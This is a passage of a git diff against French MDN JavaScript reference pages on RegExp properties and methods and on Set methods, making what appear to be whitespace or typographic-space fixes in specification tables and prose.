diff --git a/files/fr/web/javascript/reference/global_objects/regexp/@@search/index.md b/files/fr/web/javascript/reference/global_objects/regexp/@@search/index.md index 8b241fbe93..2ed5876578 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/@@search/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/@@search/index.md @@ -82,7 +82,7 @@ console.log(résultat); // 3 | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-regexp.prototype-@@search', 'RegExp.prototype[@@search]')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-regexp.prototype-@@search', 'RegExp.prototype[@@search]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-regexp.prototype-@@search', 'RegExp.prototype[@@search]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/@@species/index.md b/files/fr/web/javascript/reference/global_objects/regexp/@@species/index.md index f073630ef9..595aa06085 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/@@species/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/@@species/index.md @@ -48,7 +48,7 @@ class MaRegExp extends RegExp { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-get-regexp-@@species', 'get RegExp [ @@species ]')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-regexp-@@species', 'get RegExp [ @@species ]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-regexp-@@species', 'get RegExp [ @@species ]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/@@split/index.md b/files/fr/web/javascript/reference/global_objects/regexp/@@split/index.md index 8b576affe5..fdb34c263f 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/@@split/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/@@split/index.md @@ -50,7 +50,7 @@ Si le séparateur n'est pas un objet {{jsxref("RegExp")}}, la méthode {{jsxref( ### Appel direct -Cette méthode peut être utilisée comme {{jsxref("String.prototype.split()")}}, l'objet `this` est différent et l'ordre des arguments également. +Cette méthode peut être utilisée comme {{jsxref("String.prototype.split()")}}, l'objet `this` est différent et l'ordre des arguments également. ```js var re = /-/g; @@ -61,7 +61,7 @@ console.log(résultat); // ["2016", "01", "02"] ### Utiliser `@@split` avec une sous-classe -Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger `[@@split]()` afin de modifier le comportement de la découpe : +Les sous-classes de {{jsxref("RegExp")}} peuvent surcharger `[@@split]()` afin de modifier le comportement de la découpe : ```js class MaRegExp extends RegExp { diff --git a/files/fr/web/javascript/reference/global_objects/regexp/compile/index.md b/files/fr/web/javascript/reference/global_objects/regexp/compile/index.md index fec7a889dd..bfe0e79265 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/compile/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/compile/index.md @@ -42,7 +42,7 @@ La méthode `compile` est dépréciée. Pour obtenir le même effet, on utiliser ## Exemples -Dans l'exemple qui suit, on voit comment réinitialiser le motif et les drapeaux d'une expression rationnelle grâce à la méthode `compile()`. +Dans l'exemple qui suit, on voit comment réinitialiser le motif et les drapeaux d'une expression rationnelle grâce à la méthode `compile()`. ```js var regexObj = new RegExp("toto", "gi"); diff --git a/files/fr/web/javascript/reference/global_objects/regexp/dotall/index.md b/files/fr/web/javascript/reference/global_objects/regexp/dotall/index.md index 1c8c351469..6bee024da6 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/dotall/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/dotall/index.md @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/RegExp/dotAll --- {{JSRef}}{{Draft}} -La propriété **`dotAll`** indique si le marqueur "`s`" est utilisé pour l'expression rationnelle. `dotAll` est une propriété en lecture seule et qui renseigne à propos de l'expression rationnelle courante. +La propriété **`dotAll`** indique si le marqueur "`s`" est utilisé pour l'expression rationnelle. `dotAll` est une propriété en lecture seule et qui renseigne à propos de l'expression rationnelle courante. {{JS_Property_Attributes(0, 0, 1)}} diff --git a/files/fr/web/javascript/reference/global_objects/regexp/flags/index.md b/files/fr/web/javascript/reference/global_objects/regexp/flags/index.md index 1bea14f02d..e4539ffe1b 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/flags/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/flags/index.md @@ -49,7 +49,7 @@ if (RegExp.prototype.flags === undefined) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-get-regexp.prototype.flags', 'RegExp.prototype.flags')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-regexp.prototype.flags', 'RegExp.prototype.flags')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-regexp.prototype.flags', 'RegExp.prototype.flags')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/global/index.md b/files/fr/web/javascript/reference/global_objects/regexp/global/index.md index 0b97b04853..7b884a9601 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/global/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/global/index.md @@ -45,9 +45,9 @@ console.log(str2); // affichera "exempletoto" dans la console | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : `global` est une propriété d'une instance de {{jsxref("RegExp")}} et non une propriété de l'objet `RegExp`. | -| {{SpecName('ES5.1', '#sec-15.10.7.2', 'RegExp.prototype.global')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES5.1', '#sec-15.10.7.2', 'RegExp.prototype.global')}} | {{Spec2('ES5.1')}} | | | {{SpecName('ES6', '#sec-get-regexp.prototype.global', 'RegExp.prototype.global')}} | {{Spec2('ES6')}} | `global` est désormais un accesseur lié au prototype plutôt qu'une propriété de données liée à l'instance. | -| {{SpecName('ESDraft', '#sec-get-regexp.prototype.global', 'RegExp.prototype.global')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-regexp.prototype.global', 'RegExp.prototype.global')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/ignorecase/index.md b/files/fr/web/javascript/reference/global_objects/regexp/ignorecase/index.md index d893c5d57e..1320fcfd7f 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/ignorecase/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/ignorecase/index.md @@ -35,9 +35,9 @@ console.log(regex.ignoreCase); // true | Spécification | Statut | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : `ignoreCase` est une propriété d'une instance de {{jsxref("RegExp")}} et pas une propriété de l'objet `RegExp`. | -| {{SpecName('ES5.1', '#sec-15.10.7.3', 'RegExp.prototype.ignoreCase')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES5.1', '#sec-15.10.7.3', 'RegExp.prototype.ignoreCase')}} | {{Spec2('ES5.1')}} | | | {{SpecName('ES6', '#sec-get-regexp.prototype.ignorecase', 'RegExp.prototype.ignoreCase')}} | {{Spec2('ES6')}} | `ignoreCase` est désormais une propriété du prototype sous forme d'accesseur plutôt qu'une propriété directe de l'instance. | -| {{SpecName('ESDraft', '#sec-get-regexp.prototype.ignorecase', 'RegExp.prototype.ignoreCase')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-regexp.prototype.ignorecase', 'RegExp.prototype.ignoreCase')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/index.md b/files/fr/web/javascript/reference/global_objects/regexp/index.md index 85c0aeee92..2c9241fe25 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/index.md @@ -14,13 +14,13 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/RegExp Le constructeur **RegExp** crée un objet expression rationnelle pour la reconnaissance d'un modèle dans un texte. -Pour une introduction aux expressions rationnelles, lire le [chapitre Expressions rationnelles dans le Guide JavaScript](/fr/docs/Web/JavaScript/Guide/Expressions_r%C3%A9guli%C3%A8res). +Pour une introduction aux expressions rationnelles, lire le [chapitre Expressions rationnelles dans le Guide JavaScript](/fr/docs/Web/JavaScript/Guide/Expressions_r%C3%A9guli%C3%A8res). {{EmbedInteractiveExample("pages/js/regexp-constructor.html")}} ## Syntaxe -Les notations littérales, par constructeur ou de base sont possibles : +Les notations littérales, par constructeur ou de base sont possibles : /modèle/marqueurs new RegExp(modèle[, marqueurs]) @@ -39,9 +39,9 @@ Les notations littérales, par constructeur ou de base sont possibles : - `i` - : la casse est ignorée. Si le marqueur `u` est également activé, les caractères Unicode équivalents pour la casse correspondent. - `m` - - : multiligne : les caractères de début et de fin (^ et $) sont traités comme travaillant sur des lignes multiples (i.e, ils correspondent au début et à la fin de _chaque_ ligne (délimitée par \n ou \r), pas seulement au début ou à la fin de la chaîne d'entrée complète). + - : multiligne : les caractères de début et de fin (^ et $) sont traités comme travaillant sur des lignes multiples (i.e, ils correspondent au début et à la fin de _chaque_ ligne (délimitée par \n ou \r), pas seulement au début ou à la fin de la chaîne d'entrée complète). - `u` - - : unicode : traite le modèle comme une séquence de points de code Unicode (voir également [les chaînes binaires](/fr/docs/Web/API/DOMString/Binary)). + - : unicode : traite le modèle comme une séquence de points de code Unicode (voir également [les chaînes binaires](/fr/docs/Web/API/DOMString/Binary)). - `y` - : adhérence : n'établit de correspondance qu'à partir de l'indice dans la chaîne cible indiqué par la propriété `lastIndex` de l'expression rationnelle (et ne cherche pas à établir de correspondance à partir d'indices au delà). - `s` @@ -57,11 +57,11 @@ new RegExp('ab+c', 'i'); // constructeur new RegExp(/ab+c/, 'i'); // notation littérale dans un constructeur ``` -La notation littérale effectue la compilation de l'expression rationnelle lorsque l'expression est évaluée. Utilisez la notation littérale lorsque l'expression rationnelle reste constante. Par exemple, si vous utilisez la notation littérale pour construire une expression rationnelle utilisée dans une boucle, l'expression rationnelle ne sera pas recompilée à chaque itération. +La notation littérale effectue la compilation de l'expression rationnelle lorsque l'expression est évaluée. Utilisez la notation littérale lorsque l'expression rationnelle reste constante. Par exemple, si vous utilisez la notation littérale pour construire une expression rationnelle utilisée dans une boucle, l'expression rationnelle ne sera pas recompilée à chaque itération. -Le constructeur de l'objet expression rationnelle, par exemple `new RegExp('ab+c')`, effectue la compilation de l'expression rationnelle au moment de l'exécution. Utilisez la fonction constructeur quand vous savez que le modèle d'une expression rationnelle sera variable, ou si vous ne connaissez pas le modèle et que vous l'obtiendrez d'une autre source, telle qu'une saisie utilisateur. +Le constructeur de l'objet expression rationnelle, par exemple `new RegExp('ab+c')`, effectue la compilation de l'expression rationnelle au moment de l'exécution. Utilisez la fonction constructeur quand vous savez que le modèle d'une expression rationnelle sera variable, ou si vous ne connaissez pas le modèle et que vous l'obtiendrez d'une autre source, telle qu'une saisie utilisateur. -À partir d'ECMAScript 6, `new RegExp(/ab+c/, 'i')` ne déclenche plus d'exception {{jsxref("TypeError")}} ("can't supply flags when constructing one RegExp from another") lorsque le premier argument est une RegExp et que le second argument `marqueurs` est présent. Une nouvelle `RegExp` sera créée à la place à partir des arguments. +À partir d'ECMAScript 6, `new RegExp(/ab+c/, 'i')` ne déclenche plus d'exception {{jsxref("TypeError")}} ("can't supply flags when constructing one RegExp from another") lorsque le premier argument est une RegExp et que le second argument `marqueurs` est présent. Une nouvelle `RegExp` sera créée à la place à partir des arguments. Lorsqu'on utilise le constructeur, les règles normales d'échappement de chaîne (le fait de faire précéder d'un \ les caractères spéciaux à l'intérieur d'une chaîne) sont requises. Par exemple, les définitions suivantes sont équivalentes : @@ -132,7 +132,7 @@ s.match(/voici[^]*ligne/); // Renvoie ['voici\nune autre ligne'] ``` -### Utiliser une expression rationnelle avec le marqueur d'adhérence +### Utiliser une expression rationnelle avec le marqueur d'adhérence Cet exemple illustre comment on peut utiliser ce marqueur qui recherche une correspondance après {{jsxref("RegExp.prototype.lastIndex")}}. diff --git a/files/fr/web/javascript/reference/global_objects/regexp/lastindex/index.md b/files/fr/web/javascript/reference/global_objects/regexp/lastindex/index.md index 4693bdfb7a..ec3072f151 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/lastindex/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/lastindex/index.md @@ -57,9 +57,9 @@ Renvoie `["", undefined]`, un tableau dont le premier élément est la chaîne v | Spécification | Statut | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. JavaScript 1.5 : `lastIndex` est une propriété d'une instance de `RegExp` et n'est pas une propriété directe de `RegExp`. | -| {{SpecName('ES5.1', '#sec-15.10.7.5', 'RegExp.lastIndex')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-properties-of-regexp-instances', 'RegExp.lastIndex')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-properties-of-regexp-instances', 'RegExp.lastIndex')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.10.7.5', 'RegExp.lastIndex')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-properties-of-regexp-instances', 'RegExp.lastIndex')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-properties-of-regexp-instances', 'RegExp.lastIndex')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/multiline/index.md b/files/fr/web/javascript/reference/global_objects/regexp/multiline/index.md index 72c86650cf..3e9ac548aa 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/multiline/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/multiline/index.md @@ -35,9 +35,9 @@ console.log(regex.multiline); // true | Spécification | Statut | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : `multiline` est une propriété liée à l'instance de {{jsxref("RegExp")}} et non à l'objet `RegExp`. | -| {{SpecName('ES5.1', '#sec-15.10.7.4', 'RegExp.prototype.multiline')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES5.1', '#sec-15.10.7.4', 'RegExp.prototype.multiline')}} | {{Spec2('ES5.1')}} | | | {{SpecName('ES6', '#sec-get-regexp.prototype.multiline', 'RegExp.prototype.multiline')}} | {{Spec2('ES6')}} | `multiline` est désormais un propriété du prototype sous forme d'accesseur plutôt qu'une propriété directement liée à l'instance. | -| {{SpecName('ESDraft', '#sec-get-regexp.prototype.multiline', 'RegExp.prototype.multiline')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-regexp.prototype.multiline', 'RegExp.prototype.multiline')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/source/index.md b/files/fr/web/javascript/reference/global_objects/regexp/source/index.md index 86cf78ae27..b4d3925df6 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/source/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/source/index.md @@ -44,7 +44,7 @@ new RegExp('\n').source === "\\n"; // true à partir d'ES5 | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : `source` est une propriété de l'instance de {{jsxref("RegExp")}}, ce n'est pas une propriété de l'objet `RegExp`. | | {{SpecName('ES5.1', '#sec-15.10.7.1', 'RegExp.prototype.source')}} | {{Spec2('ES5.1')}} | `source` renvoie désormais "(?:)" (et non "") pour les expressions vides. La définition du comportement pour les échappements a été ajoutée. | | {{SpecName('ES6', '#sec-get-regexp.prototype.source', 'RegExp.prototype.source')}} | {{Spec2('ES6')}} | `source` est désormais un accesseur lié au prototype plutôt qu'une propriété directement rattachée à l'instance. | -| {{SpecName('ESDraft', '#sec-get-regexp.prototype.source', 'RegExp.prototype.source')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-regexp.prototype.source', 'RegExp.prototype.source')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/sticky/index.md b/files/fr/web/javascript/reference/global_objects/regexp/sticky/index.md index eb5c5a2b52..d6d7d3c89b 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/sticky/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/sticky/index.md @@ -60,7 +60,7 @@ regex2.test(".\nfoo"); // true | Spécification | Etat | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-get-regexp.prototype.sticky', 'RegExp.prototype.sticky')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-regexp.prototype.sticky', 'RegExp.prototype.sticky')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-regexp.prototype.sticky', 'RegExp.prototype.sticky')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/test/index.md b/files/fr/web/javascript/reference/global_objects/regexp/test/index.md index 776fc120b3..6e687152de 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/test/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/test/index.md @@ -31,7 +31,7 @@ Un booléen : `true` ou `false` selon qu'une correspondance a été trouvée ent ## Description -On utilisera `test()` dès qu'on souhaite savoir si une partie d'une chaîne de caractères correspond à une expression rationnelle (similaire à la méthode {{jsxref("String.prototype.search()")}}). Pour obtenir plus d'informations (mais une exécution moins rapide), on utilisera la méthode {{jsxref("RegExp.prototype.exec()", "exec()")}} (similaire à la méthode {{jsxref("String.prototype.match()")}}). Comme avec {{jsxref("RegExp.prototype.exec()", "exec()")}} (et même en combinant les deux), des appels successifs à `test()` sur une même instance d'une expression rationnelle permettent de rechercher après la dernière occurence. Cette méthode est différente de `search` car elle renvoie un booléen et non la position de la correspondance si elle est trouvée (ou `-1` sinon). +On utilisera `test()` dès qu'on souhaite savoir si une partie d'une chaîne de caractères correspond à une expression rationnelle (similaire à la méthode {{jsxref("String.prototype.search()")}}). Pour obtenir plus d'informations (mais une exécution moins rapide), on utilisera la méthode {{jsxref("RegExp.prototype.exec()", "exec()")}} (similaire à la méthode {{jsxref("String.prototype.match()")}}). Comme avec {{jsxref("RegExp.prototype.exec()", "exec()")}} (et même en combinant les deux), des appels successifs à `test()` sur une même instance d'une expression rationnelle permettent de rechercher après la dernière occurence. Cette méthode est différente de `search` car elle renvoie un booléen et non la position de la correspondance si elle est trouvée (ou `-1` sinon). ## Exemples @@ -102,7 +102,7 @@ console.log(compterMots("Ah que coucou Bob")); // 4 ## Notes spécifiques à Firefox -Pour les versions antérieures à Firefox 8.0, l'implémentation de `test()` était erronée. Quand la méthode était appelée sans aucun paramètre, elle effectuait son test par rapport à la dernière entrée (la propriété `RegExp.input`) et non par rapport à la chaîne `"undefined"`. Ce comportement a été corrigé ; désormais `/undefined/.test()` retourne bien `true` au lieu d'une erreur. +Pour les versions antérieures à Firefox 8.0, l'implémentation de `test()` était erronée. Quand la méthode était appelée sans aucun paramètre, elle effectuait son test par rapport à la dernière entrée (la propriété `RegExp.input`) et non par rapport à la chaîne `"undefined"`. Ce comportement a été corrigé ; désormais `/undefined/.test()` retourne bien `true` au lieu d'une erreur. ## Voir aussi diff --git a/files/fr/web/javascript/reference/global_objects/regexp/tostring/index.md b/files/fr/web/javascript/reference/global_objects/regexp/tostring/index.md index 6b2a2e6413..ccbf6a9201 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/tostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/tostring/index.md @@ -59,8 +59,8 @@ new RegExp('\n').toString() === "/\\n/"; // true à partir d'ES5 | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.1. | | {{SpecName('ES5.1', '#sec-15.9.5.2', 'RegExp.prototype.toString')}} | {{Spec2('ES5.1')}} | `source` renvoie désormais "(?:)" (et non "") pour les expressions vides. La définition du comportement pour les échappements a été ajoutée. | -| {{SpecName('ES6', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-regexp.prototype.tostring', 'RegExp.prototype.toString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/regexp/unicode/index.md b/files/fr/web/javascript/reference/global_objects/regexp/unicode/index.md index 671fb82624..386d25b353 100644 --- a/files/fr/web/javascript/reference/global_objects/regexp/unicode/index.md +++ b/files/fr/web/javascript/reference/global_objects/regexp/unicode/index.md @@ -37,7 +37,7 @@ console.log(regex.unicode); // true | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-get-regexp.prototype.unicode', 'RegExp.prototype.unicode')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-regexp.prototype.unicode', 'RegExp.prototype.unicode')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-regexp.prototype.unicode', 'RegExp.prototype.unicode')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/set/@@iterator/index.md b/files/fr/web/javascript/reference/global_objects/set/@@iterator/index.md index d420a2b5df..f1a77b803c 100644 --- a/files/fr/web/javascript/reference/global_objects/set/@@iterator/index.md +++ b/files/fr/web/javascript/reference/global_objects/set/@@iterator/index.md @@ -61,7 +61,7 @@ for (const v of monSet) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-set.prototype-@@iterator', 'Set.prototype[@@iterator]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-set.prototype-@@iterator', 'Set.prototype[@@iterator]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-set.prototype-@@iterator', 'Set.prototype[@@iterator]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/set/@@species/index.md b/files/fr/web/javascript/reference/global_objects/set/@@species/index.md index aff8a084ae..cab821f7cf 100644 --- a/files/fr/web/javascript/reference/global_objects/set/@@species/index.md +++ b/files/fr/web/javascript/reference/global_objects/set/@@species/index.md @@ -45,7 +45,7 @@ class MonSet extends Set | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-get-set-@@species', 'get Set [ @@species ]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-set-@@species', 'get Set [ @@species ]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-set-@@species', 'get Set [ @@species ]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/set/add/index.md b/files/fr/web/javascript/reference/global_objects/set/add/index.md index bdddb11403..02eb5d3721 100644 --- a/files/fr/web/javascript/reference/global_objects/set/add/index.md +++ b/files/fr/web/javascript/reference/global_objects/set/add/index.md @@ -47,7 +47,7 @@ console.log(monSet); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-set.prototype.add', 'Set.prototype.add')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/set/clear/index.md b/files/fr/web/javascript/reference/global_objects/set/clear/index.md index 9a5be9a488..0e23cac24c 100644 --- a/files/fr/web/javascript/reference/global_objects/set/clear/index.md +++ b/files/fr/web/javascript/reference/global_objects/set/clear/index.md @@ -46,7 +46,7 @@ monSet.has("truc") // false | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-set.prototype.clear', 'Set.prototype.clear')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/set/delete/index.md b/files/fr/web/javascript/reference/global_objects/set/delete/index.md index f888bc831f..c84589d06b 100644 --- a/files/fr/web/javascript/reference/global_objects/set/delete/index.md +++ b/files/fr/web/javascript/reference/global_objects/set/delete/index.md @@ -65,7 +65,7 @@ objetSet.forEach(function(point){ | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-set.prototype.delete', 'Set.prototype.delete')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/set/foreach/index.md b/files/fr/web/javascript/reference/global_objects/set/foreach/index.md index 63d00d027f..a60c25cce3 100644 --- a/files/fr/web/javascript/reference/global_objects/set/foreach/index.md +++ b/files/fr/web/javascript/reference/global_objects/set/foreach/index.md @@ -79,7 +79,7 @@ new Set(["toto", "truc", undefined]).forEach(logSetElements); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/set/has/index.md b/files/fr/web/javascript/reference/global_objects/set/has/index.md index 3718eecc6d..e02d2deedf 100644 --- a/files/fr/web/javascript/reference/global_objects/set/has/index.md +++ b/files/fr/web/javascript/reference/global_objects/set/has/index.md @@ -55,7 +55,7 @@ set1.add({'cle1': 1}); // set1 contient désormais 2 éléments | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-set.prototype.has', 'Set.prototype.has')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-set.prototype.has', 'Set.prototype.has')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-set.prototype.has', 'Set.prototype.has')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/set/index.md b/files/fr/web/javascript/reference/global_objects/set/index.md index accdda32a3..60b9ae1048 100644 --- a/files/fr/web/javascript/reference/global_objects/set/index.md +++ b/files/fr/web/javascript/reference/global_objects/set/index.md @@ -34,7 +34,7 @@ Les objets `Set` sont des ensembles de valeurs. Il est possible d'itérer sur le ### Égalité des valeurs -Chaque valeur d'un `Set` doit être unique, il faut donc tester l'égalité des valeurs contenues. Cette égalité n'est pas la même que celle de l'opérateur ===. Notamment, pour les objets `Set`, `+0` (qui, selon l'égalité stricte, est égal à `-0`) et `-0` sont des valeurs différentes. Cela a toutefois été changé avec la dernière version d'ECMAScript 2015 (ES6). Voir le tableau de compatibilité ci-après quant à la prise en charge de l'égalité des clés pour `0` et `-0`. +Chaque valeur d'un `Set` doit être unique, il faut donc tester l'égalité des valeurs contenues. Cette égalité n'est pas la même que celle de l'opérateur 